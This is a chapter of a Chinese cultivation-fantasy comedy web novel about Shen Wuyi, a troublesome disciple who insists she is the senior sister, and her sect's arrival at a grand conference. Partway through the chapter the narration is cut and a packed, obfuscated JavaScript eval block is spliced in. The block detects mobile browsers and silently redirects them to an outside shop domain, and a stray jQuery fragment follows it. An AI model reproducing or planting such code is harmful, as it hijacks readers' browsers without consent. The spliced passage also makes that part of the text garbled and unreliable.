文趣网 > 其他小说 > 不知道啊,她说她是大师姐 > 5. 真大!真他娘的大啊!
    那以后的日子,沈无衣算是把“作”这个字演绎到了极致。

    晨会上闹着要当大师姐,众人自然没当回事儿,掌门得了师尊的命令,不愿意理她,她就去找长老。

    东长老说“此事从长计议”,她便日日捧着茶盏去东阁“从长计议”。

    南长老说“等你修为再精进些”,她便追着南长老问“精进多少算精进”。

    西长老说“嗯”,她就坐在西白对面,等他说第二个字,等了一炷香,西白又说了个“嗯”,她才罢休。

    北长老笑眯眯地说“老朽不是掌门,做不了主。”她便信了,转头去烦掌门。

    掌门容晏辞被她缠得没办法,偶尔板起脸来训斥几句,沈无衣便缩着脖子认错,转头又犯。

    几位长老起初还训她,后来发现这丫头认错比谁都快,犯错也比谁都勤,索性睁一只眼闭一只眼。

    师尊倒是清净。

    沈无衣不敢去青崖阁闹。

    每次走到半山腰,青玉笔的器灵就开始尖叫:——“要死了要死了!师尊要把我劈了当柴烧了!”——

    沈无衣很看重这支莫名其妙认她为主的法宝。

    毕竟在她看来,自己画符那么六,都是因为这支笔。

    所以,每当她好容易拖着七十八师兄御剑到青崖阁,只要器灵一叫,她便抬头看看山顶那个白金色的身影,识趣地转身回去。

    至于内门弟子那边,西湖吹雪的白玉砖上,除了“闭嘴”,后来又多了“安静”、“再闹便把你扔下去”几行字。

    每一行都是用剑意刻的,整整齐齐排在那里。

    北宁则安的叹气次数比过去百年加起来都多。

    东苏静山倒是好脾气,沈无衣闹她便听着,闹完了递杯灵茶,说“歇歇再闹”。

    南离莫愁的符鞭在沈无衣面前甩了不下百次,一次都没真落下去。

    九十八师兄容砚秋最惨。

    沈无衣发现他好欺负之后,三天两头让他跑腿。

    去藏经阁借书、去膳房取灵果、去外门送符纸。

    容砚秋每次都默默去了,回来时衣袍被风吹得乱七八糟,脸上倒没什么怨言。

    东周时慕倒是唯一一个希望沈无衣多闹一闹的人。

    因为每次她闹完,她总会随手画几张符安慰众人受伤的心灵,他便能凑过去研究半天。

    ————

    闹着闹着,沈无衣又添了新花样。

    她开始给师兄师姐们上演“白莲花小师妹”的经典戏码。

    今日发嗲,抱着北宁则安的胳膊摇来摇去,声音甜得发腻:“师兄~你就帮我说说话嘛~”

    北宁则安浑身一僵,手中符笔差点戳穿符纸。

    明日装无辜,做错了事眨巴着眼睛,一脸纯真:“我不是故意的,师姐不会怪我吧?”

    南离莫愁的符鞭在腰间噼啪作响,硬是忍住了。

    最离谱的是那日,她梨花带雨,眼眶一红,泪珠将落未落,哽咽着说:“我知道,你们都不喜欢我,我走就是了。”

    说完作势要往外跑。

    东苏静山连忙拉住她。

    西湖吹雪在院外冷冷道:“你倒是走啊,门在那边。”

    沈无衣脚步一顿,眼泪收放自如,转身便笑嘻嘻地坐了回去:“我就知道师兄舍不得我。”

    ————

    众人被她今日四处扬言自己要当大师姐、明日哭哭啼啼各种作,折腾得心力交瘁。

    偏偏这戏码她还日日不重样,装可怜、扮柔弱,后日又来一出“委屈求全”。

    几位师兄师姐从一开始的手足无措,渐渐变成了面无表情,到最后甚至能一边听她哭一边淡定地画符。

    容砚秋有一回忍不住问北宁则安:“七十八师兄,你就不生气吗?”

    北宁则安叹了口气,此时他已经多了一个绰号“七八师哥哥”,他语气平静得像在念经:“习惯了。她演她的,我做我的。只要不当真,便伤不到我。”

    南明江落在第二年的春天去了人界。

    临行前,他特意来找沈无衣,从怀里掏出一串珊瑚珠子递给她:“我很快回来,你轻点折腾他们几个。”

    沈无衣接过珠子,在手里掂了掂,直觉告诉她这东西很贵。

    她笑眯眯地送走了九十师兄,转头就把珠子串在了青玉笔上。

    日子一天天过去。

    沈无衣依旧日日闹着要当大师姐,日日上演白莲花的戏码。

    直到有一天,北宁则安忽然停下手中的符笔,皱着眉头说了一句:“江落去人界,是不是已经一年多了?”

    众人一愣。

    东苏静山想了想:“一年零三个月。”

    “他此去,是去接人界皇室送来的人。”北宁则安看向众人,“也就是说,我们可能真的要有一个小师妹了。”

    院子里安静了一瞬。

    东周时慕推了推眼镜,一脸震惊:“还真有师妹啊?我还以为师妹胡说的呢。”

    沈无衣抱着手臂,下巴微抬,得意洋洋:“我早说了你们不信。等着吧。”

    西湖吹雪收起长剑,面无表情地丢下一句:“来了再说。”转身走了。

    众人各怀心思,散了。

    ————

    三年时间一晃而过。

    宗门大会的日子,到了。

    本届宗门大会由剑宗承办。

    剑宗坐落在修真界东部,主峰名唤“问剑峰”,两侧分别是“洗剑崖”和“藏剑岭”。

    三座山峰连绵起伏,灵气充沛,设有修真界最完善的试炼台。

    因是中三门之首,剑宗门人众多,光内门弟子便有数百人,外门更是不计其数。

    大会当日,天还没亮,金阙箓的众人便已整装待发。

    这一次,内门七位弟子全数到场。

    四大长老来了两位,南长老南离和北长老北冥。

    东长老和西长老留守宗门。

    师尊闾丘青崖没有来。

    用掌门的话说,“师尊来了,其他宗门的掌门还怎么坐得住”。

    容晏辞亲自带队,穿了一身崭新的锦袍,金线绣纹,腰间挂着一串灵石打磨的佩饰,整个人从头到脚都写着“有钱”两个字。

    南北长老是标准的带着个人风格的宗门长袍。

    几位弟子依着各自师傅穿着金阙箓的服饰,随意又庄重。

    沈无衣今日也特意打扮了一番。

    东苏静山帮她理好了月牙白镶银线平绣莲纹的衣袍,南离莫愁替她束了发。

    她站在铜镜前,难得安静地端详了自己片刻。

    镜中之人,长发高束,白玉簪固定,几缕碎发垂在耳侧。

    眉如远山,目若秋水,鼻梁高挺,唇色嫣红。

    初看时,只觉得清冷如静水,仿佛山间一汪不起波澜的潭。

    再看时,那双眉眼间却藏着一抹明媚的光,像是潭水深处映出的朝阳,明艳动人,大气端方。

    修真界不缺美人。

    各门各派都有绝尘之姿,或清雅,或冷艳,或温婉。

    但沈无衣这张脸,胜在矛盾。

    清冷与明媚共存,婉约与大气并重。

    不笑时像九天玄女,笑时像人间三月。

    “可以。”她满意地点点头,又挺了挺胸膛,开口便是熟悉的味道,“这脸、这胸!绝了。”

    东苏静山笑着摇头。

    南离莫愁翻了个白眼。

    果然,不开口是仙女,一开口……还是那个小作精。

    ————

    剑宗的问剑峰上,早已人山人海。

    各宗门按照九门排位依次落座。

    下三门来得最早,御兽宗的弟子牵着灵兽,阵修宗的弟子在布置临时阵法,体修宗的弟子个个膀大腰圆,坐在那里便占了三人的位置。

    中三门次第入场。

    剑宗弟子白衫如雪,腰悬长剑,往那儿一站便是一道风景。

    丹宗弟子手持药炉,周身药香萦绕。音

    宗弟子怀抱各式乐器,有几个已经忍不住调试起琴弦。

    最后来的,是上三门。

    医宗天医谷的弟子一袭青衫,气质温润,入场时引来不少女修的侧目。

    药宗药王岭的弟子则是一身赭色道袍,肩背药篓,步伐沉稳。

    压轴的,自然是金阙箓。

    问剑峰上,所有人的目光都投向了入口处。

    金阙箓的众人御剑而来。

    为首的掌门容晏辞脚下踏着一柄金纹符剑,衣袍猎猎,笑得像个弥勒佛。

    身后依次跟着七位内门弟子。

    北宁则安的蓝衣,南离莫愁的红装,西湖吹雪的白袍,东苏静山的青衫,东周时慕的灰袍,容砚秋的素衣,以及——

    最后那个,独自御剑的女子。

    沈无衣立在剑上,身姿笔挺,衣袂飘飘。

    今日的她,当真当得起“谪仙”二字。

    眉眼清冷如霜,唇边没有一丝笑意,目光淡然扫过下方众人,仿佛这满山修士皆不入眼。

    剑宗的席位上,有人低声问:“那就是金阙箓那个……传闻中的符修天才?”

    “沈无衣。三年前突然开了智,金丹后期,画的符最低也卖到十万灵石一张。听说她画的符,不论是什么,一露面就被抢空,连清洁符都跟着涨了价。”

    “长得倒是……比传闻中还要出众。”

    “嘘,她看过来了。”

    沈无衣确实在看。

    她看的是脚下。

    三年了,御剑对她来说早已不是难事。那柄仙女剑依旧张扬,半透明的剑身内蕴银、浅金两色流光,所过之处拖出一道七彩虹迹。

    剑修宗门自诩天下剑法正宗,什么样的剑没见过。

    但这柄剑的剑意,他们真没见过。

    不是杀伐之气,而是一种说不清道不明的欢快。

    更让他们摸不着头脑的是,剑上那位冷若冰霜的女子,嘴唇一直在微微翕动。

    她其实是在心底哼歌,但那旋律不知怎的顺着灵音领域飘了出去。

    她自己毫无察觉,师兄师姐们却听了个真切。

    三年了,每次御剑她都要哼几句,这已经成了习惯。

    今日她哼的是一首格外欢快的曲子,歌词在脑海中循环播放:“聪明勇敢有力气,我真的羡慕我自己……”

    师兄师姐们早就见怪不怪。

    北宁则安目视前方,面色如常

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938934|213820||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    南离莫愁连眼皮都没抬一下。

    西湖吹雪面无表情,仿佛什么都没听到。

    三年了,他们早已练就一身“听而不闻”的本事。

    问剑峰顶,剑宗掌门谢云疏端坐在主位之上。

    他十分年轻,面容清俊,眉眼间与西湖吹雪有几分相似。

    那是剑宗与金阙箓之间一段众所周知的旧事,无人敢当面提起。

    他身旁立着几位剑宗的长老和亲传弟子。

    四大师兄分列两侧,三大师姐立于其后,个个白衣如雪,气质出众。

    而最靠近谢云疏的位置,站着一位白衣青年,腰悬长剑,身姿如松,正是剑宗最被看好的大师兄,轩辕停云。

    轩辕停云的目光落在那道白色的身影上。

    他见过不少天才,剑宗的、丹宗的、音宗的,各门各派的天之骄子他都有所耳闻。

    但这个人不一样。

    不是因为她脚下的剑,也不是因为那张过分出众的脸,亦不是她穿了金阙箓师尊门下嫡传弟子才能穿的宗门白锦衣。

    而是因为她御剑的时候,在吟唱。

    唱的还是他从未听过的调子,实在是难听。

    飞过问剑峰最高处时,沈无衣的目光忽然被一样东西吸引了。

    擂台最上端,悬着一颗巨大的珍珠。

    不,不是珍珠。

    那东西通体莹白,泛着柔和的珠光,足有一张圆桌大小,悬在半空中缓缓转动。

    阳光照上去,折射出层层叠叠的光晕。

    那是几位掌门联手布下的镜像媒介,用于实时转播比试画面至各宗门的观礼席。

    沈无衣不知道这些。她只知道,那颗珠子,真大!真他娘的大啊!又白又大啊!

    “卧槽,”她脱口而出,“这么大一颗!”

    许是因为她的出场过于引人瞩目,场上十分安静,这声“卧槽”可谓是,中气十足地响彻在半空中。

    清冷谪仙的形象,也在这一刻,碎得渣都不剩。

    南离莫愁的符鞭瞬间甩了过来,缠住她的腰往自己身边一带。

    西湖吹雪眼疾手快,抬手捂住了她的嘴。

    沈无衣“呜呜”了两声,眨了眨眼,表示自己知道了。

    问剑峰上,一片寂静。

    然后,不知道哪个宗门的弟子先笑出了声,接着笑声像涟漪一样扩散开来。

    谢云疏微微挑眉,嘴角浮起一丝若有若无的笑意。

    轩辕停云看着那个被自家师姐捂着嘴、还在努力维持“镇定”表情的女子,眼中闪过一丝兴味。

    掌门容晏辞的笑容僵在了脸上。

    他深吸一口气,御剑飞到沈无衣身边,压低声音道:“你、给、我、稳、住。”

    沈无衣被松开嘴,乖巧点头,重新站好,脸上恢复了那副冷若冰霜的表情。仿佛刚才什么都没发生过。

    ————

    金阙箓的席位在最前方,紧邻主台。

    容晏辞安顿好众人,带着南离、北冥两位长老去主台与各宗掌门寒暄。

    临走前,他一再叮嘱:“你们几个看好无衣,别让她乱跑,别让她乱说话。”

    “掌门,”北宁则安道,“您已经说了好几遍了。”

    容晏辞瞪了他一眼,又转向沈无衣,语气软了几分:“无衣啊,你现在代表的是金阙箓的脸面。擂台上比试的时候,点到为止,切莫伤人,记住了吗?”

    沈无衣正盯着主台上那颗巨大的珍珠出神,闻言胡乱点了点头:“记住了记住了,不伤人,点到为止。”

    容晏辞还是有些不放心,又看了看南离莫愁和西湖吹雪。

    南离莫愁抱臂道:“掌门放心,她要是敢乱来,我先把她捆了。”

    西湖吹雪又淡淡“嗯”了一声。

    容晏辞这才叹了口气,转身要走。

    走了两步又折返回来:“对了,江落呢?送到山脚就行了,怎么还没到。”

    北宁则安道:“许是路上耽搁了。大会才开始,兴许晚些便到。”

    容晏辞皱了皱眉,又看了一眼沈无衣,似乎想说什么,终究没开口,与两位长老一道去了主台。

    沈无衣托着下巴,目光又落回那颗大珠子上。

    她扯了扯身旁东苏静山的袖子,小声问:“师姐,那颗珠子,能摸吗?”

    东苏静山温柔地笑了笑:“那是几位掌门的法器,怕是不能。”

    “哦。”沈无衣收回目光幽幽道,“回去之后,能不能也弄一颗那么大的,镶在剑柄上?”

    东周时慕默默在本子上记了一笔:师妹对发光物有执念。

    ————

    远处的问剑峰顶,轩辕停云收回目光,对身旁的师弟说了一句:“那个金阙箓的小师妹,叫什么名字?”

    师弟愣了愣,答道:“沈无衣。”想了想有补充了一句,“不过……我方才听人说,她自称是金阙箓的大师姐。”

    轩辕停云怔了怔,微微点头,没有再问。

    擂台上方的巨大珍珠缓缓转动,将满山的光影搅碎又重聚。

    大会还未正式开始,但所有人都知道,这一届宗门大会,怕是要比往年热闹得多。

    ————